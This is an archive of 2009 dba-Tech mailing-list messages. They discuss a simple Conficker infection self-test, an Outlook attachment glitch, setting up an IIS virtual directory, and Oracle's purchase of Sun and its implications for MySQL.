> Stuart McLachlan
> 
> 
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
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From rockysmolin at bchacc.com  Thu Apr 16 18:50:06 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Thu, 16 Apr 2009 16:50:06 -0700
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <49E7BBBF.14836.FCE7DC9@stuart.lexacorp.com.pg>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>,
	<49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>,
	<451217D768164CA194E4FCF493F68146@HAL9005>
	<49E7BBBF.14836.FCE7DC9@stuart.lexacorp.com.pg>
Message-ID: <457C6D3515B349328CF466E04D1126DA@HAL9005>

Too clever! 

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Thursday, April 16, 2009 4:14 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Conficker Worm Test

Very simple.

Conficker blocks browsers from accessing a number of sites, including the
major AV ones.
The page just contains links to images on the AV vendors sites.   If you're
infected, 
Conficker will stop you from accessing them so you won't see the images.



On 16 Apr 2009 at 16:02, Rocky Smolin wrote:

> Cool.  How does it work?
> 
> Rocky
>  
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart 
> McLachlan
> Sent: Thursday, April 16, 2009 3:33 PM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Conficker Worm Test
> 
> ****Note - As at April 2009!!! If someone passes this on to you in at 
> some much later date, it's probably obsolete and you should delete 
> this email right now*****
> 
> Conficker is a piece of mailcious software that has infected a lot of 
> computers.
> 
> Here's a very simple test to check whether your computer is infected .
> Just go to
> 
> http://www.lexacorp.com.pg and click on the link at the bottom left
> 
> The way it works is simple. If you can see all 6 images at the top of 
> the test page, you are probably not infected with the worm.
> 
> If it looks like your machine is infected, disconnect it from the 
> Internet immediately. Go to another system that's not infected, and 
> get Microsoft's Malicious Software Removal Tool.
> 
>  http://www.microsoft.com/security/malwareremove/
> 
> Run that on the infected system, and be sure the infection is removed 
> before you reconnect to the Net.
> 
> I hate chain emails and I never thought I'd ever say this but - feel 
> free to pass this one on to other people.
> 
> 
> Cheers,
> Stuart McLachlan
> 
> 
> _______________________________________________
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> dba-Tech at databaseadvisors.com
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From andy at minstersystems.co.uk  Sun Apr 19 06:25:19 2009
From: andy at minstersystems.co.uk (Andy Lacey)
Date: Sun, 19 Apr 2009 12:25:19 +0100
Subject: [dba-Tech] Odd Outlook behaviour
In-Reply-To: <628C24CA2A4B4F199DD3A44C3704F608@SusanOne>
Message-ID: <524C5922AE9F43D58340EF58CA34B329@MINSTER>

Found a forum entry which said a guy had had this and it had gone after a
reboot. Just rebooted and sure emough it's stopped. Heaven knows why it
occurs but a reboot's the answer.

Andy

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
Sent: 16 April 2009 14:30
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Odd Outlook behaviour


Andy, I don't know what the problem is, but I get them occasionally too, and

I'm using OE. Almost all of Rocky's are like that.

Susan H.


> Anyone any ideas on this? Since a point during last Sunday a lot of my
> emails are showing in Outlook with a txt attachment which holds a repeat 
> of
> the message. The filename is the subject of the email. I've spoken to my 
> ISP
> and they swear they're not generating the attachments so it must be 
> Outlook.
> It doesn't happen on all emails and I think it's just plain text ones that
> are affected. All of my AccessD ones show like this. I'm using Outlook 
> 2002.
> I'm not aware of having altered my settings and I can't even see one which
> would cause this. Anyone any ideas?

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From fuller.artful at gmail.com  Sun Apr 19 09:07:40 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Sun, 19 Apr 2009 10:07:40 -0400
Subject: [dba-Tech] IIS question
Message-ID: <29f585dd0904190707h60fa8104s38a0452dc7a44400@mail.gmail.com>

It's been a while since I used IIS (been using Apache with Ruby on Rails
lately), and I cannot remember how to get at its configuration stuff. I need
to create a virtual directory in IIS. I'm using Vista. Can you remind me?

TIA,
Arthur


From bheid at sc.rr.com  Sun Apr 19 15:16:15 2009
From: bheid at sc.rr.com (Bobby Heid)
Date: Sun, 19 Apr 2009 16:16:15 -0400
Subject: [dba-Tech] IIS question
In-Reply-To: <29f585dd0904190707h60fa8104s38a0452dc7a44400@mail.gmail.com>
References: <29f585dd0904190707h60fa8104s38a0452dc7a44400@mail.gmail.com>
Message-ID: <001901c9c12b$b19a3e40$14cebac0$@rr.com>

Arthur,

Assuming that you have IIS installed, go to start (or whatever that thing on
the bottom left of your screen is called), type in IIS Manager and the 1st
item in the list under programs should be Internet Information Services
(IIS) Manager.  
Click on Internet Information Services (IIS) Manager.  This will bring up
(after a UAC prompt) the IIS manager.
Expand the top-level node
Expand the Sites node
Right-click on Default Web Site and select Add Virtual Directory...

Thanks,
Bobby




-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Sunday, April 19, 2009 10:08 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] IIS question

It's been a while since I used IIS (been using Apache with Ruby on Rails
lately), and I cannot remember how to get at its configuration stuff. I need
to create a virtual directory in IIS. I'm using Vista. Can you remind me?

TIA,
Arthur
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From fuller.artful at gmail.com  Sun Apr 19 15:19:51 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Sun, 19 Apr 2009 16:19:51 -0400
Subject: [dba-Tech] IIS question
In-Reply-To: <001901c9c12b$b19a3e40$14cebac0$@rr.com>
References: <29f585dd0904190707h60fa8104s38a0452dc7a44400@mail.gmail.com>
	<001901c9c12b$b19a3e40$14cebac0$@rr.com>
Message-ID: <29f585dd0904191319o53a1b621u41c6835dc89b8242@mail.gmail.com>

Thanks!
Arthur

On Sun, Apr 19, 2009 at 4:16 PM, Bobby Heid <bheid at sc.rr.com> wrote:

> Arthur,
>
> Assuming that you have IIS installed, go to start (or whatever that thing
> on
> the bottom left of your screen is called), type in IIS Manager and the 1st
> item in the list under programs should be Internet Information Services
> (IIS) Manager.
> Click on Internet Information Services (IIS) Manager.  This will bring up
> (after a UAC prompt) the IIS manager.
> Expand the top-level node
> Expand the Sites node
> Right-click on Default Web Site and select Add Virtual Directory...
>
>


From garykjos at gmail.com  Sun Apr 19 18:51:20 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Sun, 19 Apr 2009 18:51:20 -0500
Subject: [dba-Tech] Odd Outlook behaviour
In-Reply-To: <524C5922AE9F43D58340EF58CA34B329@MINSTER>
References: <628C24CA2A4B4F199DD3A44C3704F608@SusanOne>
	<524C5922AE9F43D58340EF58CA34B329@MINSTER>
Message-ID: <aea6c4950904191651q60a2a39do3a4b6a614c2d3504@mail.gmail.com>

Weird!  Some kind of buffer overload thing that uses the text file
because it doesn't have space in memory. That kind of thing was
supposed to have gone away after Windows 95 or so wasn't it?  ;-)

Glad you figured it out Andy. Once again perseverance pays off.

GK

On Sun, Apr 19, 2009 at 6:25 AM, Andy Lacey <andy at minstersystems.co.uk> wrote:
> Found a forum entry which said a guy had had this and it had gone after a
> reboot. Just rebooted and sure emough it's stopped. Heaven knows why it
> occurs but a reboot's the answer.
>
> Andy
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
> Sent: 16 April 2009 14:30
> To: Discussion of Hardware and Software issues
> Subject: Re: [dba-Tech] Odd Outlook behaviour
>
>
> Andy, I don't know what the problem is, but I get them occasionally too, and
>
> I'm using OE. Almost all of Rocky's are like that.
>
> Susan H.
>
>
>> Anyone any ideas on this? Since a point during last Sunday a lot of my
>> emails are showing in Outlook with a txt attachment which holds a repeat
>> of
>> the message. The filename is the subject of the email. I've spoken to my
>> ISP
>> and they swear they're not generating the attachments so it must be
>> Outlook.
>> It doesn't happen on all emails and I think it's just plain text ones that
>> are affected. All of my AccessD ones show like this. I'm using Outlook
>> 2002.
>> I'm not aware of having altered my settings and I can't even see one which
>> would cause this. Anyone any ideas?
>
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-- 
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From fuller.artful at gmail.com  Mon Apr 20 09:00:41 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Mon, 20 Apr 2009 10:00:41 -0400
Subject: [dba-Tech] Oracle to Buy Sun
Message-ID: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>

Today the announcement became official. See
http://www.sun.com/third-party/global/oracle/index.jsp.

Arthur


From accessd at shaw.ca  Mon Apr 20 15:32:35 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 20 Apr 2009 13:32:35 -0700
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
Message-ID: <1BCAD548C9D84287AE468DDABA740630@creativesystemdesigns.com>

Oh no...

Oracle is one of the strongest pay as you go companies. I can not imagine
OpenOffice and VirtualBox remaining free up their control.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Monday, April 20, 2009 7:01 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Oracle to Buy Sun

Today the announcement became official. See
http://www.sun.com/third-party/global/oracle/index.jsp.

Arthur
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From john at winhaven.net  Tue Apr 21 09:24:15 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 21 Apr 2009 09:24:15 -0500
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
Message-ID: <070901c9c28c$d9c77fb0$8d567f10$@net>

What's going to happen to MySQL?

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Monday, April 20, 2009 9:01 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Oracle to Buy Sun

Today the announcement became official. See
http://www.sun.com/third-party/global/oracle/index.jsp.



From john at winhaven.net  Tue Apr 21 10:04:40 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 21 Apr 2009 10:04:40 -0500
Subject: [dba-Tech] Odd Outlook behavior
In-Reply-To: <524C5922AE9F43D58340EF58CA34B329@MINSTER>
References: <628C24CA2A4B4F199DD3A44C3704F608@SusanOne>
	<524C5922AE9F43D58340EF58CA34B329@MINSTER>
Message-ID: <07c701c9c292$7ebe8a40$7c3b9ec0$@net>

Hi Andy,
Do you have any Outlook add-ins installed (like auto attachment compression
programs, spam filters, search programs, anti-virus)?

I have seen quite a few memory related issues lately caused by add-ins.

Recently, while testing desktop search apps, Google Desktop Search would
cause my Outlook 2007 to use so much memory that it would lock up my XP
machine with 2 GBs of RAM, no other applications running. I usually leave my
PC running overnight so I don't have to wait 5-10 minutes for all the
overnight email to come in. This is when it would happen. Having to reboot,
obviously, made that a bad idea. Turning of the background indexer for
Google DS cleared up the issue but then nothing new gets indexed so it
doesn't find anything except the items that were previously indexed. Catch
22?

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Andy Lacey
Sent: Sunday, April 19, 2009 6:25 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behaviour

Found a forum entry which said a guy had had this and it had gone after a
reboot. Just rebooted and sure emough it's stopped. Heaven knows why it
occurs but a reboot's the answer.



From fuller.artful at gmail.com  Tue Apr 21 13:00:57 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Tue, 21 Apr 2009 14:00:57 -0400
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <070901c9c28c$d9c77fb0$8d567f10$@net>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
	<070901c9c28c$d9c77fb0$8d567f10$@net>
Message-ID: <29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>

MySQL IMO is a small-potatoes acquisition in this buyout. I don't think that
Scott and Larry would dare disturb the waters, but to focus on MySQL misses
the larger point big-time, and indicates myopic vision. This acquisition is
about obtaining a delivery mechanism that spans hardware and OS and
middleware and so on. Sparc is the definitive Linux/Solaris platform. Atop
that is all the Oracle middleware (all in Java), and atop that are all the
Oracle Apps. So this creates a company that can deliver, as no one else can,
a stack that encompasses hardware, middleware and software. Nobody else in
the playground can offer this end-to-end solution. Granted, it will take
Oracle a few months to actualize this, but the path is clear. And in this
pond, MySQL is an interesting tidbit but ultimately small potatoes. You
don't buy Sun to get MySQL, you buy Sun for Sparc and Solaris and Linux
support and so on. MySQL, much as I love it, is a revenue generator in terms
of the support contracts and a migration path to serious database software
such as Trusted Oracle (the sort of thing that banks require).

My $.02.

A.

On Tue, Apr 21, 2009 at 10:24 AM, John Bartow <john at winhaven.net> wrote:

> What's going to happen to MySQL?
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
> Sent: Monday, April 20, 2009 9:01 AM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Oracle to Buy Sun
>
> Today the announcement became official. See
> http://www.sun.com/third-party/global/oracle/index.jsp.
>
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From andy at minstersystems.co.uk  Tue Apr 21 14:15:42 2009
From: andy at minstersystems.co.uk (Andy Lacey)
Date: Tue, 21 Apr 2009 20:15:42 +0100
Subject: [dba-Tech] Odd Outlook behavior
In-Reply-To: <07c701c9c292$7ebe8a40$7c3b9ec0$@net>
Message-ID: <4074696BD06B4E40B22A074DDF5F71E5@MINSTER>

Only thing I can think of John is McAfee av. Spam is filtered by K9 before
reaching Outlook.

Andy

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: 21 April 2009 16:05
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behavior


Hi Andy,
Do you have any Outlook add-ins installed (like auto attachment compression
programs, spam filters, search programs, anti-virus)?

I have seen quite a few memory related issues lately caused by add-ins.

Recently, while testing desktop search apps, Google Desktop Search would
cause my Outlook 2007 to use so much memory that it would lock up my XP
machine with 2 GBs of RAM, no other applications running. I usually leave my
PC running overnight so I don't have to wait 5-10 minutes for all the
overnight email to come in. This is when it would happen. Having to reboot,
obviously, made that a bad idea. Turning of the background indexer for
Google DS cleared up the issue but then nothing new gets indexed so it
doesn't find anything except the items that were previously indexed. Catch
22?

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Andy Lacey
Sent: Sunday, April 19, 2009 6:25 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behaviour

Found a forum entry which said a guy had had this and it had gone after a
reboot. Just rebooted and sure emough it's stopped. Heaven knows why it
occurs but a reboot's the answer.

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From john at winhaven.net  Tue Apr 21 17:26:56 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 21 Apr 2009 17:26:56 -0500
Subject: [dba-Tech] Odd Outlook behavior
In-Reply-To: <4074696BD06B4E40B22A074DDF5F71E5@MINSTER>
References: <07c701c9c292$7ebe8a40$7c3b9ec0$@net>
	<4074696BD06B4E40B22A074DDF5F71E5@MINSTER>
Message-ID: <018901c9c2d0$47bfd470$d73f7d50$@net>

Andy,
If you look in Tool|Options|Advanced there should be an item that lists
add-ins.

I've had some problems with Spam Fighter Pro's Outlook add-in in the past
but not recently. Don't know if McAfee uses K9 as an add-in or not - could
also be McAfee's AV mail scanner add-in.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Andy Lacey
Sent: Tuesday, April 21, 2009 2:16 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behavior

Only thing I can think of John is McAfee av. Spam is filtered by K9 before
reaching Outlook.



From accessd at shaw.ca  Tue Apr 21 18:46:34 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 21 Apr 2009 16:46:34 -0700
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
	<070901c9c28c$d9c77fb0$8d567f10$@net>
	<29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
Message-ID: <2C8A723FFC6845CCB254B0FA46E35BB5@creativesystemdesigns.com>

Actually, MySQL is a major player in the Linux world. It is estimated that
almost 80% of all Linux DBs are MySQL. The MySQL database comprises almost
35% of the entire database market which is the largest percentage of any
database in the market today... more than Oracle. Here is a link to an
out-of-date graph (2006) but it will still give a good idea of the trends:
http://www.creativesystemdesigns.com/projects/databases.asp#summary

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Tuesday, April 21, 2009 11:01 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Oracle to Buy Sun

MySQL IMO is a small-potatoes acquisition in this buyout. I don't think that
Scott and Larry would dare disturb the waters, but to focus on MySQL misses
the larger point big-time, and indicates myopic vision. This acquisition is
about obtaining a delivery mechanism that spans hardware and OS and
middleware and so on. Sparc is the definitive Linux/Solaris platform. Atop
that is all the Oracle middleware (all in Java), and atop that are all the
Oracle Apps. So this creates a company that can deliver, as no one else can,
a stack that encompasses hardware, middleware and software. Nobody else in
the playground can offer this end-to-end solution. Granted, it will take
Oracle a few months to actualize this, but the path is clear. And in this
pond, MySQL is an interesting tidbit but ultimately small potatoes. You
don't buy Sun to get MySQL, you buy Sun for Sparc and Solaris and Linux
support and so on. MySQL, much as I love it, is a revenue generator in terms
of the support contracts and a migration path to serious database software
such as Trusted Oracle (the sort of thing that banks require).

My $.02.

A.

On Tue, Apr 21, 2009 at 10:24 AM, John Bartow <john at winhaven.net> wrote:

> What's going to happen to MySQL?
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
> Sent: Monday, April 20, 2009 9:01 AM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Oracle to Buy Sun
>
> Today the announcement became official. See
> http://www.sun.com/third-party/global/oracle/index.jsp.
>
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From fuller.artful at gmail.com  Tue Apr 21 19:01:44 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Tue, 21 Apr 2009 20:01:44 -0400
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <2C8A723FFC6845CCB254B0FA46E35BB5@creativesystemdesigns.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
	<070901c9c28c$d9c77fb0$8d567f10$@net>
	<29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
	<2C8A723FFC6845CCB254B0FA46E35BB5@creativesystemdesigns.com>
Message-ID: <29f585dd0904211701q63368994oad4304e711387c7f@mail.gmail.com>

You (perhaps inadvertently) confirm my point. There is no logical reason to
kill the MySQL community. On the other hand, there are abundant points to be
acquired by preserving it. Not least is the possibility of a fork taking
flower. Said possible fork is decidedly against Oracle's interests, so I
think that this will not happen. Scott and Larry are too smart to let this
happen.

(Proviso: I once met Scott and Larry at various conferences. I have no
shares in Oracle but I do admire their creative work and vision.) I stand to
gain nothing as apologist for their vision, I simply approve of it.

A.


From john at winhaven.net  Tue Apr 21 20:00:07 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 21 Apr 2009 20:00:07 -0500
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>	<070901c9c28c$d9c77fb0$8d567f10$@net>
	<29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
Message-ID: <020b01c9c2e5$ae26d690$0a7483b0$@net>

Aren't we forgetting IBM?

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Tuesday, April 21, 2009 1:01 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Oracle to Buy Sun

This acquisition is about obtaining a delivery mechanism that spans hardware
and OS and middleware and so on. Sparc is the definitive Linux/Solaris
platform. Atop that is all the Oracle middleware (all in Java), and atop
that are all the Oracle Apps. So this creates a company that can deliver, as
no one else can, a stack that encompasses hardware, middleware and software.
Nobody else in the playground can offer this end-to-end solution. 



From accessd at shaw.ca  Tue Apr 21 22:03:25 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 21 Apr 2009 20:03:25 -0700
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <020b01c9c2e5$ae26d690$0a7483b0$@net>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
	<070901c9c28c$d9c77fb0$8d567f10$@net>
	<29f585dd0904211100g234d9637pbcbe81e6cccf3174@mail.gmail.com>
	<020b01c9c2e5$ae26d690$0a7483b0$@net>
Message-ID: <22CFE62E82CA4DE68D6318AD79834EAA@creativesystemdesigns.com>

Good point... Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: Tuesday, April 21, 2009 6:00 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Oracle to Buy Sun

Aren't we forgetting IBM?

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Tuesday, April 21, 2009 1:01 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Oracle to Buy Sun

This acquisition is about obtaining a delivery mechanism that spans hardware
and OS and middleware and so on. Sparc is the definitive Linux/Solaris
platform. Atop that is all the Oracle middleware (all in Java), and atop
that are all the Oracle Apps. So this creates a company that can deliver, as
no one else can, a stack that encompasses hardware, middleware and software.
Nobody else in the playground can offer this end-to-end solution. 

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From andy at minstersystems.co.uk  Wed Apr 22 02:13:36 2009
From: andy at minstersystems.co.uk (Andy Lacey)
Date: Wed, 22 Apr 2009 08:13:36 +0100
Subject: [dba-Tech] Odd Outlook behavior
In-Reply-To: <018901c9c2d0$47bfd470$d73f7d50$@net>
Message-ID: <20775B8BD36D4E94854E077EB13FA0BD@MINSTER>

Thanks John, no add-ins installed at all.

Andy

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: 21 April 2009 23:27
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behavior


Andy,
If you look in Tool|Options|Advanced there should be an item that lists
add-ins.

I've had some problems with Spam Fighter Pro's Outlook add-in in the past
but not recently. Don't know if McAfee uses K9 as an add-in or not - could
also be McAfee's AV mail scanner add-in.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Andy Lacey
Sent: Tuesday, April 21, 2009 2:16 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Odd Outlook behavior

Only thing I can think of John is McAfee av. Spam is filtered by K9 before
reaching Outlook.

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From tinanfields at torchlake.com  Wed Apr 22 14:09:40 2009
From: tinanfields at torchlake.com (Tina Norris Fields)
Date: Wed, 22 Apr 2009 15:09:40 -0400
Subject: [dba-Tech] Odd Outlook behaviour
In-Reply-To: <200904161417.n3GEHn1D005067@databaseadvisors.com>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>
Message-ID: <49EF6B74.7010205@torchlake.com>

Hi Andy,

I believe that comes from those who send in both plain text and HTML.

Tina

Andy Lacey wrote:
> Nice to know I'm not alone anyway. Thanks Susan.
> --
> Andy
>
>
> --------- Original Message --------
> From: "Discussion of Hardware and Software issues"
> <dba-tech at databaseadvisors.com>
> To: "Discussion of Hardware and Software issues"
> <dba-tech at databaseadvisors.com>
> Subject: Re: [dba-Tech] Odd Outlook behaviour
> Date: 16/04/09 13:41
>
>
> Andy, I don't know what the problem is, but I get them occasionally too, and
> I'm using OE. Almost all of Rocky's are like that.
>
> Susan H.
>
>
>   
>> Anyone any ideas on this? Since a point during last Sunday a lot of my
>> emails are showing in Outlook with a txt attachment which holds a repeat
>> of
>> the message. The filename is the subject of the email. I've spoken to my
>> ISP
>> and they swear they're not generating the attachments so it must be
>> Outlook.
>> It doesn't happen on all emails and I think it's just plain text ones that
>> are affected. All of my AccessD ones show like this. I'm using Outlook
>> 2002.
>> I'm not aware of having altered my settings and I can't even see one which
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From erbachs at gmail.com  Wed Apr 22 20:07:11 2009
From: erbachs at gmail.com (Steve Erbach)
Date: Wed, 22 Apr 2009 20:07:11 -0500
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
Message-ID: <39cb22f30904221807t7749f09cj55970f72132c1b98@mail.gmail.com>

Arthur,

FWIW, commentary from SQL Pro Insight magazine:

What Will Oracle Do With MySQL?
Microsoft and SQL Server are the real targets, not IBM.

By Jeffrey Schwartz

While there is no shortage of questions surrounding what Oracle has in
store for Sun Microsystems, perhaps the most intriguing one is what
Oracle will do with MySQL. Will it live or will Oracle, which gains
MySQL as a result of its $7.4 billion acquisition of Sun, throw it
under the bus?

There is plenty of reason to believe Oracle would not want to in any
way, shape or form let MySQL cannibalize the licensing revenues Oracle
has enjoyed for so many years from its flagship proprietary database
platform. There's the school of thought that Oracle doesn't walk the
walk when it comes to open source.

"While Oracle has displayed an ability to participate in and benefit
from open source software, I think its expectations and aspirations
for open source software are limited," wrote 451Group analyst Jay
Lyman.

But lest we forget, while Oracle CEO Larry Ellison talks up how
acquiring Sun is a key entre for Oracle to further its assault on IBM,
his real nemesis is Microsoft. While it is unlikely MySQL was a huge
factor (perhaps not even a reason at all) in Oracle's decision to make
its surprise bid, the company's decision to put some emphasis on the
open source database could be an opportunity to go after Microsoft in
a way it could never do with its flagship database.

In fact, that's exactly what MySQL founder Marten Mickos told Forbes
yesterday, arguing they serve two different application types.
"Microsoft's database business is the fastest growing," Mickos told
Forbes. "Oracle can use MySQL to achieve a stronger developer
community."

Forrester analyst Noel Yuhanna agrees. "If Oracle plays its cards
right, this could be a great move, since it continues to struggle
against Microsoft SQL Server especially in the small- to
moderate-sized database market, where Microsoft SQL Server enjoys
dominance," Yuhanna said in an e-mail. "A combination of MySQL and
Oracle DBMS can cover all bases, and put MySQL against Microsoft SQL
Server more competitively. Also, we see that as databases become more
automated (which is already happening), the need for tighter
integration with hardware and bundling will further grow -- therefore
having a database appliance (database machine) will become critical."

While the installed base of MySQL pales in comparison to SQL Server,
Microsoft is well aware of the momentum around it and the open source
database movement, especially for lower-end Web applications. That's
why Microsoft has developed its own PHP Driver for SQL Server and last
month released its PHP on Windows Training Kit, which includes
technical material, best practices and code samples for building PHP
applications that run on Windows, IIS 7 and SQL Server 2008.

"Microsoft is going after those folks in a pretty serious way," said
Andrew Brust, a director of new technology at twenty six New York, and
a Microsoft regional director. "Read what you want into that but it
shows how seriously Microsoft takes MySQL."

While most MySQL applications are PHP-based, it also supports .NET
applications, Brust noted. "MySQLhas done a pretty good job at working
nicely with Windows and ADO.NET," he said. "But I think by and large
it is PHP developers."

According to Sun's internal surveys, SQL Server is the number one
platform that customers migrate from when moving to MySQL, said Robin
Schumacher, MySQL's director of product management. "People using
MySQL on Windows makes a very nice alternative to SQL Server,"
Schumacher said. For enterprise implementations, Linux is still the
largest platform for MySQL "but Windows is right behind it," he added.

"They have to see the value of MySQL in the ability for it to continue
to gain on the SQL Server marketplace," added Ian Abramson, president
of Independent Oracle Users Group (IOUG) and a director at
Toronto-based Thoughtcorp, a data warehousing and BI consultancy, who
said the Oracle user community welcomes MySQL joining the fold.

Meanwhile Sun this week coincidently announced the preview of the next
release -- My SQL 5.4, which it says will be far more scalable than
the current version.

What impact do you think Oracle's acquisition of Sun will have on
MySQL, open source databases and SQL Server? Drop me a line at
jschwartz at 1105media.com.


Jeffrey Schwartz is editor of ADTmag.com and news editor of Visual
Studio Magazine.

Regards,

Steve Erbach
Neenah, WI
http://www.NeenahPolitics.com
http://www.TheTownCrank.com


On Mon, Apr 20, 2009 at 9:00 AM, Arthur Fuller <fuller.artful at gmail.com> wrote:
> Today the announcement became official. See
> http://www.sun.com/third-party/global/oracle/index.jsp.
>
> Arthur
> _______________________________________________


From peter.brawley at earthlink.net  Wed Apr 22 20:23:20 2009
From: peter.brawley at earthlink.net (Peter Brawley)
Date: Wed, 22 Apr 2009 20:23:20 -0500
Subject: [dba-Tech] Oracle to Buy Sun
In-Reply-To: <39cb22f30904221807t7749f09cj55970f72132c1b98@mail.gmail.com>
References: <29f585dd0904200700m3efd9ec0y474a9a4ae650273b@mail.gmail.com>
	<39cb22f30904221807t7749f09cj55970f72132c1b98@mail.gmail.com>
